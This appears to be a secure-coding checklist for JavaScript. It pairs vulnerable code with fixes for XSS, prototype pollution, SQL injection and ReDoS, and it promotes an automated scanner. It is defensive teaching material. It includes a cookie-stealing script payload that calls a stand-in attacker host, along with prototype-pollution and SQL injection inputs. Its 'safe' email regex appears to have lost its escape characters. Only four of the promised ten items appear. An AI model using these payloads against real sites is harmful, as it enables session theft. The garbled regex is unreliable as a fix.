Security

JavaScript Security Checklist — 10 Vulnerabilities to Check

A practical security checklist for JavaScript code: the 10 most exploitable vulnerabilities in Node.js and browser JavaScript, with vulnerable examples, exploit scenarios, and secure fixes.


What is JavaScript security?

JavaScript runs in browsers, servers (Node.js), mobile apps, and serverless functions. Its ubiquity makes it the most targeted language for web attacks. The good news: most JavaScript vulnerabilities follow known patterns and can be detected automatically.


1

XSS — Cross-Site Scripting

Most common JavaScript vulnerability. User input rendered as HTML allows script injection.

❌ innerHTML with user input

const query = new URLSearchParams(location.search).get('q');
document.querySelector('#results').innerHTML =
  '<h2>Results for: ' + query + '</h2>';
// Attacker: ?q=<script>fetch('https://evil.com?c='+document.cookie)</script>

✅ textContent + DOMPurify

const query = new URLSearchParams(location.search).get('q');
const heading = document.createElement('h2');
heading.textContent = 'Results for: ' + query; // textContent is always safe
document.querySelector('#results').appendChild(heading);
// For rich HTML: DOMPurify.sanitize(userHtml)
2

Prototype Pollution

Merging user-controlled objects can pollute Object.prototype, affecting all objects globally.

❌ Recursive merge with user input

function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key]; // Attacker sends __proto__
    }
  }
}
// Input: {"__proto__": {"isAdmin": true}}
// Effect: ALL objects get isAdmin = true

✅ Block prototype keys

function safeMerge(target, source) {
  for (const key in source) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      continue; // Block pollution
    }
    target[key] = source[key];
  }
}
// Or use: Object.assign({}, source) — doesn't copy prototype chain
3

SQL Injection in Node.js

Node.js apps using template literals in SQL queries are vulnerable to injection.

❌ Template literal in query

const userId = req.params.id;
const user = await db.query(`SELECT * FROM users WHERE id = ${userId}`);
// GET /users/1 OR 1=1 → dumps all users

✅ Parameterized with ?

const userId = req.params.id;
const [user] = await db.execute('SELECT * FROM users WHERE id = ?', [userId]);
// Or with pg: db.query('SELECT * FROM users WHERE id = $1', [userId])
4

ReDoS — Regular Expression DoS

Catastrophic backtracking in regex with user input can freeze Node.js for seconds or minutes.

❌ Catastrophic backtracking regex

// Vulnerable: exponential backtracking on crafted input
const emailRegex = /^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;
// Input: "aaaaaaaaaaaaaaaaaaa@" → hangs for 10+ seconds

✅ Simple, bounded regex

// Simple email validation that doesn't backtrack
const emailRegex = /^[^s@]+@[^s@]+.[^s@]+$/;
// Or use a library: validator.isEmail(input)
// Or limit input length: if (input.length > 254) return false
💡

Pro tip: Run LearnCodeGuide before every JavaScript PR merge. It specifically checks for XSS (innerHTML, dangerouslySetInnerHTML), prototype pollution (key checks in merge functions), SQL injection (template literals in queries), and ReDoS (complex regex patterns on user input).


Scan Your JavaScript for Security Issues

Paste your code — LearnCodeGuide detects all these issues automatically using GPT-4o + Claude Sonnet. Free to start.

Analyze JavaScript Code →

Related Guides

XSS in JavaScriptCSRF in JavaScriptSQL Injection in JavaScriptJavaScript Code Review GuidePython Security Mistakes

Published by LearnCodeGuide Team · Last reviewed: November 2025